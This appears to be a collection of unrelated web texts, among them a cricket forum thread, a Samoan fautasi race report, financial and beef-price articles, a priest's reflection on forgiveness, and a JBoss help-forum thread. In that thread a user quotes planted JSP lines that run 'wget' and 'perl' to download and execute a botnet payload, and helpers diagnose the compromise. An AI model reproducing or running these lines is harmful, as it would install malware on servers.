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A potential compromise I have come up with; which appeases the above sentiments, whilst maintaining a measure of balance in the competition, is democratic election of captaincy. Those who wish to lead an XI may nominate to do so, then present to the registered playing group their policy for any potential reign as captain. These nominees will be voted upon by the registered players, with each afforded one vote. As there are currently 3 XI's, the 3 leading candidates resulting from this balot would be declared captains, with a mandate to do as they please with regards to drafting, selection, etc.
Of course, nominees are free to state any policy platform they like - and this may include draft intentions, desired players, an assigned vice-captaincy candidate on the ballot, etc - granting much more freedom to develop the "cliquey" sentiment which is being sought above. This does not neccesarily guarantee getting your first preference playing group - non-captain players are all still subject to an open draft - but allows election to captaincy based on whatever ideals any group would like to develop.
On the flip side of this, captains who are not meeting their promises or the expectations of the playing group would be subject to a possible vote of no confidence by the playing group. This motion would need to be passed by the entirety of the playing squad for it to be approved.
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The thing is, there can't be any monopolisation of talent because every player is more-or-less equal at this stage.
Let teams form themselves IMO, then for a potential second season allow for retentions and drafting or whatnot - by then some idea as to the development of each player will have emerged.
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I see your point that all players are of basically the same ability at this stage, but each specializes in a different area. This is why an open draft is so critical in ensuring a level playing field.
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At worst, one side may select all the wicketkeepers - so we allow any teams left without a wicketkeeper to edit a player's registration to make them keep.
I think you can trust each team to organise themselves properly without throwing out balance.
I think we misunderstand one another - if teams can be formed based on whatever alliances people generate, there is the potential for 6 batsmen rated 100, 1 keeper rated 100, 4 bowlers rated 100 to get together and form a team. Not only would this team be near unbeatable, there would only be, say hypothetically - 3 batsmen rated 100 and perhaps 2 bowlers rated over 80 - left for the two remaining sides to choose from. This is inherently unfair; whilst an open draft, taking alternating picks from the player pool to build a squad, allows fair spread of specialised talent and makes squad strength dependent on the drafting strategies and abilities of the team captain/vice-captain.
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Jesus, why's it all about being as equal as possible. Forget dimming cricket, let's just give the match to whoever wins the toss if we are trying to turn games into 50/50 contests.
You're forgetting that all registrations are out of 100 so all lineups with have 1100 points of ability, regardless. So theres the equality you were after.
Should definitely give people the opportunity to chose who they play for/with. You'll lose the interest of some if you force them to play somewhere theyve got no interesting in doing.
How about giving players the option of accepting contracts, if they reject they end the draft as free agents and sort their own contract out. Most likely with the people they want to play.
End of the day if you want this to last more then five minutes, it not about the quality for the players in each team. But the quality for forum members activity levels that make a strong team. The best teams have always been the ones who want to play together, as they generally keep the same sides each season and not have to fill gaps each season.
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Love that idea, but there was something that just didn't sit right with me when I looked at it. It was really weird, as I didn't know what it was, but it had me the instant I looked at the image. So I looked closer and it looks like the "ejected" case is in fact a live round, and that it is "ejecting" from the wrong side of the pistol. Every semi-auto pistol I have ever seen or fired either ejects straight up, or to the right hand side of the shooter.
I see what you mean i got the same feeling, but after looking closer you can "think" that it's the dark shadowed hole which give the feeling that it's an alive one.
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Four Tu'uga Va'a for 2012 Flag Day Week
The new Secretary of Samoan Affairs, Lefiti Pese laid out his office's program for this year's Flag Day fautasi race, which will have four regatta of two heats and two finals.
"Nanai (Deputy Secretary) and I have decided to have four races to mark this year's Flag Day fautasi activities," the Samoan Affairs secretary told some fautasi captains that attended the meeting on Wednesday afternoon at the Mata'upu o Tau Samoa office in Utulei. Those in attendance were representatives from Nu'uuli, Fagasa, Aua, and the district of Manu'a.
"Since there will be more fautasi likely to compete in the Flag Day race this year than in past races we therefore feel that we should hold heats to determine which boats will advance to the main Flag Day championship race. I believe that our people deserve to be entertained as they have supported fautasi races for a very long time."
Lefiti also announced that the Togiola administration has invited two fautasi from Samoa to compete in this year's Flag Day race. They are: Samoa's number one fautasi from Salelologa Savai'i, the Tolotolo O Tama Uli, and its number two boat. the Segavao from Si'usega.
Secretary Lefiti explained that the proposed two heats would be held on Saturday April 15. "The top three fautasi from each heat will advance to the Flag Day tu'uga va'a final on Tuesday, April 17. But those fautasi that will not make the grand final from the Saturday heats will have their race held on Monday, April 16. This is the day when the government will dedicate the new Fale Samoa at the Malae o Su'iga'ula in Utulei. This race will be conducted prior to the blessing of the new fale Samoa."
Deputy Secretary Nanai asked those who attended the meeting whether the two invited fautasi from Samoa should take part in the heats to qualify for the grand final on April 17 or should they automatically go to the final by virtue of their being guests of the American Samoa government.
Nanai said the Salelologa and the Si'usega fautasi should pay the proposed entry fee for this year's Flag Day race of $500. "If an American Samoa fautasi is asked to pay that amount of money, it is only fair that the two fautasi from Samoa should also pay their entry fees."
But a representative from the district of Manu'a, Mapu Paopao did not agree with Nanai. "Ole fa'aaloalo lava o le fa'aaloalo. Ole vala'aulia lava ole vala'aulia," (respect is respect, an invitation is an invitation), the former faipule in the House of Representatives told the gathering.
He said that he did not want the boats from Samoa to pay an entry fee as they were here as "invited guests." But Nanai told Paopao that the Segavao from Si'usega paid its entry fee to compete in the fautasi race two years ago.
Soli'ai Tuipine from Nu'uuli spoke on behalf of his village that won the 2011 Flag Day race. He reminded the Samoan Affairs top officials, captains, and village representatives present at the meeting that Flag Day fautasi races have always been run unfairly.
"What's the point in signing Memorandum of Understanding documents and then the captains and the committee completely ignore it. Every year we face these problems and the Flag Day fautasi committee does not follow the rules and regulations that govern the tu'uga va'a. It's time that the committee steps up and uses the power it has to disqualify a fautasi that doesn't abide by the MOU."
Another issue that Soli'ai, who is the head of the American Samoa Election Office, addressed was the Flag Day prize money for the fautasi that wins the race.
"Every year our village spends a lot of money in preparing our crew for the race. It is an expensive endeavor but the first prize money awarded to the winning fautasi is way too small compared to the effort put into the organizing of the fautasi campaign."
Soli'ai advised secretary Lefiti and deputy Nanai to raise the Flag Day race prize money for this year's Flag Day race. "Twenty thousand dollars for the first place fautasi is not enough," he said.
Lefiti concurred with Soli'ai saying that the prizes for this year's Flag Day fautasi activities should be increased. He said that he was meeting with Governor Togiola Tulafono soon to discuss the fautasi budget. "We should know by the end of this week the amount of money that will be spent in the running of the Flag Day race this year", Lefiti reported.
"I agree with what Soli'ai has stated that the prizes should go up. We know how tough it is for villages that have fautasi to make preparations for the race but bear with us, we will seriously look into this situation and will report back to you in our next meeting," Lefiti assured.
Deputy Nanai offered a solution to the problem raised by Soli'ai. He proposed that the $500 entry fees from all the boats that were going to compete should be given to the winning fautasi. "That's in addition to the first prize money that will be set by the fautasi committee," he explained.
"Say for example that the committee has set the amount of $20,000 for the winning fautasi, I suggest that on top of that, all proceeds from the entry fees should also go to the fautasi that wins the race, that's a lot of money. All other fautasi will malolo and not get anything," he said.
Since some villages like Pago Pago, Vailoa, Fagatogo, Faga'alu, and the Samoana High School did not send any representatives to the meeting, some of the issues discussed were tabled until another meeting will be called.
In other related news, two new fautasi are being built here. The villages of Fagasa and Vatia are well on their way with the building of their boats. Fagasa's new Fealofani lll and Vatia's Fua'o will be ready in time for the 2012 Flag Day race in April.
Deputy secretary Nanai has confirmed that his village of Vatia is building a new Fua'o but has imposed a news blackout on the progress of the work.
"I have banned the newspaper, TV, and radio from taking pictures writing stories, and visiting the site where our fautasi is being built in Vaita. And until such a ban has been lifted, the media blackout remains in effect," Nanai told this correspondent and the government run KVZK TV personnel. "I will let you know when I want the media to come and take pictures of our new boat," Nanai added. Maselino Ioane who is a well-known boat builder from Aua is building the Fua'o.
In praising his deputy secretary, Lefiti told the gathering that the new Fua'o was Nanai's dream to build a fautasi for his village of Vatia. "He is getting old but he has at long last fulfilled a life time promise to his father who built Vatia's first fautasi."
Fagasa has contracted boat builder, Power from New Zealand to build its third generation of fautasi. The Fealofani lll will replace the Fealofani ll that was destroyed by the Galu Lolo three years ago. That one which was also built by Power won three consecutive races (2007/08/09) under the captaincy of Satele Lili'o in addition to other mua when Senator Dr. Alo Paul Stevens skippered it. Fagasa will dedicate its new Fealofani lll before April.
Senator Alo said he would not be the captain of the new Fagasa fautasi citing ill health. "There are young people who are capable of leading our campaign for this year. The village will decide the most experienced person to be the captain," the senator told this correspondent.
Lili'o is now an associate judge with the High Court of American Samoa and has been bestowed the family title of Satele from the village of Tula. He also told this correspondent sometime ago that because of his new position at the High Court and his holding the paramount title Satele, he has ruled himself out of the top job as Fagasa's kapiteni.
Meanwhile, Aua village will also build a high tech fautasi but it will not be ready for this year's Flag Day race. The Paepae O Ulupo'o captain and leader of the aumaga, Leonard Liufau said the unavailability of the boat builder was the main cause for the delay in starting of their project.
"Mr. Power is the one that will build our new fautasi but since he is involved in the Fagasa fautasi project we've decided to postpone the building of our new boat until mid year."
Meanwhile, the village of Faga'alu has expressed interest in acquiring the Manu'a District's Matasaua 1 fautasi. One reliable source told this correspondent that Faga'alu will approach the Manu'a District soon with its proposal.
The Manu'a chiefs received the same fautasi from the village of Pago Pago through traditional presentation about five years ago. It may give it away to Faga'alu using the same customary method, according to this source.
The Manu'a Matasaua II is under a new fautasi committee. Mapu Paopao is the head of the committee that supervises the affairs of the high tech boat. Their temporary captain is Vaiolo Taliga who replaces longtime skipper, Fu'ega Moliga.
Malemo Lafo Tausaga, an influential to'oto'o of the Manu'a District and the American Samoa Government Budget Director confirmed to this correspondent that Fu'ega was no longer the captain of the Matasaua ll.
"We've decided to bring in new faces to take over the running of our fautasi campaign," Malemo said.
But Paopao told Samoa News Sports that the Manu'a District has not finalized its pick for a new captain. "Vaiolo has been designated to take the boat out during rowing practices until a final decision is made."
The Matasaua ll is the first fautasi to hold training exercises in Pago Harbor. "We're teaching the new crew members the rowing technique. We have practice runs on the water every evening from Monday to Friday, but in the morning, we jog and exercise," Paopao explained.
The 2010 champion, the Pago Pago Aeto and the current fautasi champion, Nu'uuli's crews are concentrating on their roadwork everyday. Pago's trainer, Leaoa Eddie Tua'olo Fruean told this correspondent that the Aeto would be put in the water either at the end of this month or early March.
"We're doing a lot of uphill running to get our stamina and strengthen the legs," Leaoa said.
The Togiola Administration and the Office of Samoan Affairs have not yet named a chairman and committee to oversee the 2012 Flag Day activities.


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The Federal Deposit Insurance Corp. expects to release rules or guidance in coordination with other regulators that apply to different types of banks, Andrew Gray, the agency's spokesman, said today in an e-mail. None of the 65 firms that registered as swap dealers with the CFTC by the end of last year are directly overseen by the FDIC, Gray said.
The Federal Reserve has primary oversight of swap dealers that have registered with CFTC including Bank of New York Mellon Corp. and Goldman Sachs Bank USA. The pushout provision's impact on uninsured U.S. branches and agencies of foreign banks is also unresolved by the OCC's guidance and lack of guidance from the FDIC and the Fed.
The uninsured branches of foreign banks should be given the same treatment as U.S. insured depository banks, Sally Miller, CEO of the Institute of International Bankers, said in an e-mail today. "It is imperative that this disparity of treatment be addressed quickly," said Miller, whose organization represents banks including Credit Suisse AG and Deutsche Bank AG.
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"The procrastination of both regulators and the banks on this portion of Dodd-Frank has been pretty amazing," Marcus Stanley, policy director for Americans for Financial Reform, a coalition including the AFL-CIO labor federation, said yesterday in a telephone interview. "The swaps-pushout provision is a really important part and something that absolutely should be a central part of the regulatory framework."
Blanche Lincoln, an Arkansas Democrat who led the Senate Agriculture Committee during talks leading to Dodd-Frank, sponsored the original provision in 2010. It applied to more more types of derivatives before it was scaled back amid objections from Bernanke and former FDIC Chairman Sheila Bair.
"I never myself thought it made a great deal of sense," Barney Frank, the Massachusetts Democrat who helped draft the Dodd-Frank law and whose last day in Congress was yesterday, said on Feb. 16 when he backed changes to the pushout provision.
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This article is about Beef Prices in general. For the specific futures contracts, see the articles on Live Cattle Futures and Feeder Cattle Futures.
In 2007, the retail value of all US produced beef was $74 billion.[1] Beef prices depend in part on the availability and pricing of cattle feed. For instance, heavy droughts often result in the reduction of available hay stocks, so prices drop slightly as more cattle are slaughtered and sent to market. However, this reduces breeding stock, subsequently reducing supply and raising prices in the long term.[2] Reliance on corn cattle feed (especially distiller's dry grain--see DDG under Ethanol Production) also makes beef prices susceptible to significant changes in corn prices.[3]
The chart at left shows spot prices for Live Cattle on the Chicago Mercantile Exchange.
Beef Prices are heavily dependent on favorable pricing of feedstuffs, such as corn prices and soybeans, as food makes up the majority of the cost of raising livestock. Corn prices have risen sharply since the beginning of 2007 - more than 60% in 2007 and early 2008 - as ethanol producers have increased their demand for the commodity (rising oil prices, in turn, have increased demand for ethanol).[10] Corn is also the main input for many other food products such as high fructose corn syrup that are in increasing worldwide demand - but nonetheless the USDA expects U.S. farmers to plant 8% less corn in 2008, lowering supply and increasing prices.[11] Any long-term, significant increase in feedstuffs prices has the potential to seriously increase beef prices.
In 2007, beef consumption rose at an annual rate of 5% in developing countries.[12] From 1990 to 2007, per capita consumption of meat doubled in China - 1.3 billion people ate twice as much meat as they did before.[13] As global demand increases, prices are pushed up and meat becomes more expensive.
Farmers depend on forage - grass and wheat - to feed cows during the summer and fall. During droughts, not enough forage grows to feed the cattle and farmers are forced to dip into their winter hay reserves to feed their herds. In order to make sure they have enough hay for the winter, farmers send surplus cattle to market, increasing supply in the short term, but reducing breeding stock and decreasing supply in the long term.
When health scares, such as cases of mad cow disease, cause the United States to ban cattle imports from other countries, US supply shrinks and beef prices increase. For example, the 2003 ban of Canadian cattle imports decreased US supply by 8% and contributed to a 30% rise in cattle prices.[14]
Tyson Foods (TSN) is the largest US producer of beef with 25% of the US market.
Cargill Meat Solutions is the second largest US beef producer with 21% of the US market.
Swift Foods, which is owned by Brazilian meat producer JBS S.A. (SAO:JBSS3), is the third largest US beef producer with 18.5% of the US market.
National Beef is the fourth largest US beef producer with 10.5% of the US market.
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In my 10 years as a priest I have enjoyed accompanying people on their spiritual journeys as a spiritual director and pastoral counselor. For the past three years, I have had the awe-inspiring privilege of working with the post-abortion healing ministry in the Archdiocese of St. Louis.
During this time, I have come to discover that a person's healing journey can be truncated by his or her vision of what exactly it means to forgive. I would like to share with you 10 truths about forgiveness that I have discovered and found to be helpful.
1. Forgiveness does not mean acquitting.
A lawyer once pointed out to me that we in the United States do not have a "justice system," but rather a "legal system." There are many things — abortion, for example — that are not just but are legal. The question we ask today is whether or not someone has broken a law versus whether or not someone has done a just or unjust act.
In the world of forgiveness, this becomes very confusing because, in our legal system, when defendants are declared innocent, people must pretend that the acquitted persons are innocent even if the evidence still points to the fact that they did commit the crimes they were charged with. Many people therefore believe that, when they forgive someone, a condition of that forgiveness is that they must now pretend that the person did not hurt them. This is foolishness.
True forgiveness is about owning the fact that we have been hurt and physically making a choice to respond to that hurt with love and peace instead of a desire of vengeance and feelings of hate. I found it has brought a great sense of relief to men and women who have participated in abortion for them to come to understand that they do not have to "declare themselves innocent" in order to forgive themselves and others in their healing process.
2. Forgiveness is not the same as forgetting.
Along a very similar line people sometimes come to the misconception that, if they are to forgive someone, they must forget that that person has hurt them. We have all heard someone say we should "forgive and forget." Forgiveness is not about forgetting; it is once again about the choice we make to respond to a situation.
I personally think that informing someone that that they need to forgive and forget is an attack upon that person's human dignity. What we do and what happens to us matters because we are people, and we do matter. In my own life I think I wasted too much time trying to forget that my dad was verbally abusive to me while I was growing up instead of making the choice to forgive my father.
3. Forgiveness is a virtue.
One of the most important things that I learned about virtues is that each virtue always falls in between two vices. For example, the virtue of humility (seeing oneself as God see us) falls between pride (making too much out of ourselves) and self-hate (not making enough of ourselves). Another example is the virtue of courage (the ability to face fear), which is between the vice of cowardice (not facing our fears) and foolhardiness (rushing into our fears with reckless abandonment).
The vice of not forgiving is resentment (holding onto a grudge). The vice of forgiving too much is enabling, which is not really about forgiveness but more about taking the easy emotional way out. True forgiveness must always be paired with love, which is wanting what is best for the other person. Allowing a person to hurt you over and over again in the name of forgiveness does not do you any good, and it also harms the person inflicting the hurt.
4. Forgiveness takes time and does not happen all at once.
It is truly amazing how many things we can do with a simple touch of a button. We can send messages into outer space, have them bounce off a satellite, and find another human person on the face of the earth all in a matter of seconds. Yet there are still things that require time and cannot be rushed. Forgiveness is one of those things.
Often the wounds we have go much deeper than just one instance, and they play off many different fears and feelings. For true forgiveness to take place, people must begin to untangle the mess in their hearts. Someone once told me that the best way to begin forgiving someone is to pray that the person who hurt you gets what he or she deserves — as long as we do not suggest to God what it is that they deserve, that would be a good start.
There are times on the journey of forgiveness that we will feel that we are making great steps and other times we may feel we have to move back a step or two. As long as we are determined to move forward, we can trust that God will help us reach our destination.
5. Forgiveness is not about restitution.
Sadly, many people feel that in order to forgive or be forgiven that the person being forgiven must be able to make restitution for what he or she has done. How, though, can someone make restitution for the life a child taken through the sin of abortion? How can anyone be ready to do what is necessary to fix a relationship if they do not know how much they hurt another?
Forgiveness — to be true forgiveness — has to be unconditional. A person should look back upon past mistakes only in order to learn how to avoid making new ones and never look back in an effort to make up for those past deeds.
6. Forgiveness means no longer being a victim.
When we are wounded by someone it can feel like we have no choice but to react in a certain way and that our free will has been taken from us. Often this feeling is that you hurt me, so now I must hurt you, but the opposite can be true too: you hurt me, and now I must allow you to hurt me again and thus resent you for it.
Being able to forgive the person who hurts us prevents us from being a victim. I believe that many of the martyrs proved this point by the way they died for their faith, often forgiving those who were in the process of killing them as our Lord forgave those who were crucifying Him.
7. Forgiveness is not a feeling.
I believe that love and forgiveness are very similar in that many people mistakenly identify them as feelings. Love is wanting what is best for the other person even if it requires sacrifice on my part. There are times in which I desire to strangle someone I love, but this does not mean I don't love them: in fact, the very fact that I do not strangle them proves my love for them.
Sometimes, as we work on trying to forgive others and ourselves, we can mistakenly think that we are not making progress because we do not feel like forgiving. But, if we are consistent in our desire to forgive, we are making more progress than we will ever know.
8. Forgiveness is not mutual.
It is important to know that forgiveness is not always mutual. The gift of forgiveness does not have to be accepted in order for it to be given. Would it feel better if it were? Yes, but the other person's rejection does not take away the healing power one feels from releasing a grudge and from when one stops drinking from the spiritual poison of resentment. The number one rule in all counseling is that we can only control ourselves and not other people.
9. Forgiveness does not require perfection.
Actually, forgiveness often requires mourning the loss of the perfect. One of the biggest stumbling blocks in my own life in regard to forgiveness was that I had never mourned the loss of "the perfect father–son relationship." I had not gone through Dr. Elisabeth Kübler-Ross's "Five Stages of Grief." Only after walking through denial, anger, bargaining, depression and, finally, acceptance with my counselor and spiritual director could I move past my hurt feelings from not having the relationship with my dad that I wanted. Doing that allows me to appreciate the relationship I have with him now.
10. Forgiveness does require prayer.
Because of the Fall, forgiveness is not something that comes naturally to human beings. If we are to be people who truly forgive one another, we must pray for the ability to forgive. Forgiveness is truly supernatural. Our human nature tends to respond to hurts in one of two ways: fight or flight. It is faith that introduces this third way of forgiveness.
As I stated in the beginning, discovering these 10 truths about forgiveness has been a true blessing for me in my ministry as a priest — especially with regard to my work with men and women responsible for abortions. I pray that these truths will help you in your ministry also. TP
Father Pastorius, ordained a priest in 2003 for the Archdiocese of St. Louis, is pastor of Epiphany Parish in South St. Louis, Mo.
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1. Virus?jaikiran pai Apr 5, 2011 2:46 AM (in response to Richard Lin)1 of 1 people found this helpful
Richard Lin wrote:
Recently I found some random war folders were created in my JBoss 4.2.3 deploy folder, like the attached snapshot.
That's part of the deploy folder? Or is it in the tmp folder?
Have you seen this http://community.jboss.org/wiki/securejboss? If you are making the server accessible to the outside world (by using -b 0.0.0.0) then it's necessary that you make sure you are keeping it secure.
2. Virus?Dimitris Andreadis Apr 5, 2011 2:48 AM (in response to Richard Lin)
I guess your jboss installation is compromised. You need to lock it up.
3. Virus?Nicklas Karlsson Apr 5, 2011 2:51 AM (in response to Richard Lin)
ICE-unix is a file used for xwin session info but in this case it's probably used as a backdoor for pasting in new scripts etc.
Do you have any file upload stuff in your applications that might have leaked (../../../) ?
4. Re: Virus?Richard Lin Apr 6, 2011 4:40 AM (in response to jaikiran pai)
In deploy foler not tmp.
I use eclipse 3.3.2.
Only deploy to localhost JBoss4.2.3.
I do have upload stuff, but never into JBoss folder.
Some jsp has this:
Process process = Runtime.getRuntime().exec( "perl .ICE-unix" );
some has:
Process process = Runtime.getRuntime().exec( "wget some.other.url/data/.ICE-unix" );
some has:
Process process = Runtime.getRuntime().exec( "perl .X-un1x" );
some has:
Process process = Runtime.getRuntime().exec( "wget even.more.urls/xel/.X-un1x" );
5. Virus?Nicklas Karlsson Apr 5, 2011 3:13 AM (in response to Richard Lin)
what is the content of the .ICE-unix and .X-un1x files?
6. Virus?Richard Lin Apr 5, 2011 7:48 AM (in response to Nicklas Karlsson)
those ip addresses are foreign to me.
Not our local ip address at all....
So I have no clue what is in it.
If I already have it into my PC, then I may already in serious trouble I think.
7. Virus?Carlo de Wolf Apr 5, 2011 1:27 PM (in response to Richard Lin)
It is a virus! Do not download the link. It appears to be some IRC botnet called 'isasi-hack'.
8. Virus?Carlo de Wolf Apr 6, 2011 6:52 AM (in response to Carlo de Wolf)
For security reasons I've asked the removal of all URLs linking back to the virus. Sorry for the inconvenience.
9. Re: Virus?Kostas Dask Apr 7, 2011 10:45 PM (in response to Richard Lin)
Hi, the same thing happened to me few hours ago.
I'm using jboss 4.2.3 on ubuntu linux 10.10 and suddenly i noticed some strange .war files on my deploy dir with the same files as the first poster.
10. Virus?Anil Saldanha Apr 14, 2011 9:55 AM (in response to Kostas Dask)
11. Re: Virus?wus81 Jun 15, 2011 5:33 AM (in response to Richard Lin)
I have the same problem, but has anyone an idea how they deployed this war archives?
I found nothing in the access log or in other log files?
12. Re: Virus?jaime.chavarriaga Jul 22, 2011 12:55 PM (in response to wus81)
Maybe, they are using the admin-console or the jmx-console with the default user/password (admin). Using these applications, everybody can install a web application using web protocols.
If you didn't change it, you can change the information about the default user and password in some property files.
For the default server...
You can get additional instructions in http://community.jboss.org/wiki/SecureJBoss
13. Re: Virus?wus81 Oct 21, 2011 5:15 AM (in response to jaime.chavarriaga)
Thanks for your reply.
I guess this describes how the server gets infected.
all the best,


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Gloria and Emilio Estefan have been part of Hollywood since the late 70's. Throughout the years, they've made tons of connections and developed business relationships with a handful of celebrities. But that's not all, this famous couple has also touched the lives of so many artists by being mentors and guiding them along their careers. Here, we present to you, 6 degrees of the Estefans:
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Ariana Grande
The talented 20-year-old singer was captured hugging Gloria at The Grammys this year. As it turns out, Gloria is the reason Ariana chose to pursue a singing career. "When I was eight years old I was on a cruise ship and I was singing at a karaoke place because I didn't want to go to the kids club," Ariana explained. "I sang the 'Titantic' actually, which is kind of funny actually because I was on a cruise ship! Actually Gloria Estefan was there."
She continued, "We didn't know, but someone came over and said 'Can we speak to your daughter?' It was Gloria Estefan and she says 'Honey I just wanted to let you know that you have so much more than I did at your age. You have to keep going because you were meant to do this.' She kind of inspired me and I've always loved performing, so that's kind of how I started."
2. estefans slide 01 Jennifer Lopez & Marc Anthony
Jennifer Lopez & Marc Anthony
In June 2009, Gloria and Emilio bought a minority ownership stake in the Miami Dolphins. That same year it was announced that J.Lo and Marc would be part-owners of the team, alongside the Estefans.
3. estefans slide 02 shakira
The 36-year-old Colombiana just so happens to be Emilio's protege. During an interview on Oprah's Next Chapter earlier this year, Gloria revealed that she "fought hard" for Shakira and worked very closely with her before Shakira crossed over to mainstream music, which even included translating songs for the "Addicted to You" singer.
4. estefans slide 03 Sophi Alvarez
Sophi Alvarez
This 19-year-old Venezuelan American revealed to us during an interview that not only was she discovered by Emilio, she's also helped him compose music. "They are inspirational and down to earth," she told us about the Estefans. "I'm blessed to be around people who are so genuine, determined, and professional because it sets an example for the rest of us."
5. estefans slide 04 Lili Estefan
Lili Estefan
The TV personality, who hosted Sabado Gigante and El Gordo y La Flaca for several years, is the Estefans' niece on Emilio's side.
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Once Lush Sahara Dried Up Over Millennia, Study Says
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May 8, 2008
The grassy prehistoric Sahara turned into Earth's largest hot desert more slowly than previously thought, a new report saysand some say global warming may turn the desert green once again.
The new research is based on deposits from a unique desert lake in remote northern Chad.
Lake Yoa, sustained by prehistoric groundwater, has survived for millennia despite constant drought and searing heat.
The body of water contains an unbroken climate record going back at least 6,000 years, said study lead author Stefan Kröpelin of the Institute of Prehistoric Archaeology at the University of Cologne in Germany.
Ancient pollen, insects, algae, and other fossil clues preserved in the lake's sediments point to a gradual transformation to a desert environment.
Sahara Myth
The study contradicts past research that suggested the region dried up within a few hundred years. That research was based on windblown Saharan dust found in Atlantic Ocean sediments.
"This was a hypothesis used by most of the modelers and many of the scientific community who were not working themselves in the Sahara," Kröpelin said.
"To a large degree we can now show that such an abrupt drying out of the Sahara was a myth," he said.
The new study, which appears tomorrow in the journal Science, instead found evidence for a slow decline in tropical plants, followed by the gradual loss of savanna-type grasslands, and then the eventual spread of desert species.
Pollen samples revealed, for example, that the decrease in tropical trees accelerated after 4,800 years ago, while desert plants took root between 3,900 and 3,100 years ago. Sand particles in the lake show that fierce desert winds didn't start picking up until about 3,700 years ago, the study found.
The only rapid change noted was in the lake itself, which switched from a freshwater to a salt lake between 4,200 and 3,900 years ago.
The transformation happened exactly in the time period when monsoon rains began moving away to the south, Kröpelin said.
This meant there was no longer surface water flowing in to counter salinity caused by evaporating water.
The study supports previous archaeological findings that human populations in the Sahara moved south over several millennia, following the monsoon rains, Kröpelin said.
First Reliable Record
About 20 feet (6 meters) of water evaporate from the lake every year, which is equivalent to the annual water consumption of about a million people, Kröpelin noted.
"No team had ever succeeded in getting geological and paleoclimate information for the past 4,000 years since practically all the lakes had dried up, so there were no more geological archives available," he said.
The Lake Yoa data represent the first "reliable and high-resolution record" in the Sahara for verifying climate models, he added.
Such checks are important, he argues, "because if climate computer models don't work for the past, they probably won't work for the future."
Understanding climatic effects in the Sahara are especially important, since the region covers an area larger than the United States, Kröpelin said.
"Climate evolution in the Sahara reflects to a very large extent climate evolution on the African continent and beyond," he added.
Jonathan Holmes, of the Environmental Change Centre at University College London, was not involved in the study.
He wrote an accompanying commentary on Kröpelin's research in the same issue of Science.
The latest findings fill "an important gap in our understanding of the past 6,000 years of North African climate," he wrote in the article.
The study provides a more accurate picture of climate change in the region since the last ice age, because the "record comes from one of the few Saharan lakes in which sediments have accumulated without a break."
Similar lakes "probably do not exist," according to Holmes.
"However, improving existing geological records and using these to refine climate models would go a long way toward furthering our understanding," he wrote.
Modern Climate Change
Future research at Lake Yoa should provide clues to a potential regreening of the Sahara, triggered by the current trend of global warming, according to Kröpelin.
"I'm expecting reliable information on this possible trend," he said.
The last green phase, which started some 12,000 years ago, may be due to increased water evaporation from oceans. This led to monsoon rains that penetrated the interiors of tropical continents, he said.
"Now, today, man is probably causing the same thing," he said.
Kröpelin, who has studied the region for almost 30 years, said that since 1988 "there [has been] a strong indication [of] a return of increasing rains" in the eastern Sahara.
Already in some areas "you can see slight changes in the vegetation," he said.
I told the Pharaohs to quit driving their Hummers.
President Bush's fault!
"Now, today, man is probably causing the same thing," he said.
AAAAH, so the Pharaohs were empowered by Climate Change. They were like the Halliburton of their day!!! ;-)
Camel flatulence?
" Once Lush Sahara Dried Up Over Millennia, Study Says..."
I thought this was a story of a gal who gave up the bottle and became sober. =)
"because if climate computer models don't work for the past, they probably won't work for the future."
You mean climate is affected by things other than human activity? What a novel concept!
While you are touring outer space,check out this planet.
I remember a show on TV about ancient Carthage. They stated that the area around Carthage 2000 years ago got quite a bit more rain than it does now. It was a prime agricultural area and that is one reason, along with trade, that Carthage was so rich and powerful.
A phrase worth repeating.
If Gore really believed in Global Warming, he'd buy the Sahara and wait. I mean how much could it cost?
Damn turbocharged camels!
(many know the joke, but I'll bet nobody has pictures!)
"I remember a show on TV about ancient Carthage. They stated that the area around Carthage 2000 years ago got quite a bit more rain than it does now. It was a prime agricultural area and that is one reason, along with trade, that Carthage was so rich and powerful."
You don't need a TV to see evidence of this - it's in any Bible. Even a rabid atheist would have to agree that The Bible is a useful historical record. Hard to believe that Lebanon, Jordan, Syria, etc were described as fairly lush places in Biblical times.
It was those Jews driving their low Parsa'ot per Kav guzzlers that caused the warming that caused everything to dry up. This was clearly described by Al-Gor in some recently found writings. /s
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Evolution in Your FaceLake Victoria, Africa's largest lake, is home to more than 300 species of cichlids. These fish, which are popular in aquariums, are deep-bodied and have one nostril, rather than the usual two, on each side of the head. Seismic profiles and cores of the lake taken by a team headed by Thomas C. Johnson of the University of Minnesota, reveal that the lake dried up completely about 12,400 years ago. This means that the rate of speciation of cichlid fishes has been extremely rapid: something on average of one new species every 40 years!
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Big Bird Needs His Home
By Sherrie Westin
A few days before the first Presidential debate I talked with CNN's Soledad O'Brien about Sesame, not knowing that with all the issues we face in this country, the Presidential election would come down to a referendum on Big Bird! But that is what Governor Romney made it when he said he liked Big Bird, but would cut PBS funding.
I had tried to explain that Sesame Workshop as an independent, non-profit organization cannot just depend on PBS for funding, and that most of our revenue comes from private contributions and from licensing fees from our characters.
But that's only half the story. Sesame Workshop has created a financially sustainable model to fund production of our educational programming here and around the world. But Sesame Street would not exist were it not for PBS and its local stations, which is the distribution system for Big Bird and friends to reach all children across the United States, particularly the low income children who need us most.
There have been over 80 million graduates of Sesame Street in the U.S. since 1969, and longitudinal studies have shown that children who grew up watching Sesame Street had 16% higher grade point averages throughout high school!
A CNN poll said 7% of the American public think that PBS gets as much as half the US budget! 30% think it's 5%. In reality it's 0.014%. Let's keep that in perspective and also not forget the return on that investment: millions of children who have benefited from early childhood education brought to them by the letters, P. B. S.!


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wobbles wrote:Btw, he fucking murked it to say the very least. Ffs. :O. Im such a giddy skewl gurl sometimes
god i can't even begin to describe how jealous i am of New York... LA has ABSOLUTELY NOTHING on you guys. only decent night we have is Low End Theory, and ever since October, it's been nothing but kids going there to rage to brostep... once in a blue moon Kode9 does a set cause he's buds with FlyLo, but that's about it... I've seen FlyLo, Teebs, Gaslamp Killer, Daedelus, Tokimonsta, etc so many times that I've lost all interest... but there's literally nothing else


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48 Samsen Rood, Soi Samsen 3 Banglampoo
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Thai Boutique style Guest House
SamSenSam Place Appreciate the tranquility and delicacy of the more than a hundred-year-old wooden Thai house, dating back to the reign of King Rama the sixth, splendidly erected amongst the colorful tress and flowers.
